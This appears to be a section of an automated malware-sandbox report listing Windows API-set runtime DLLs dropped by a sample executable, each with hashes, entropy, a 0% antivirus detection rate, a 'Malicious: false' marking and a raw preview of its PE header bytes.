Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
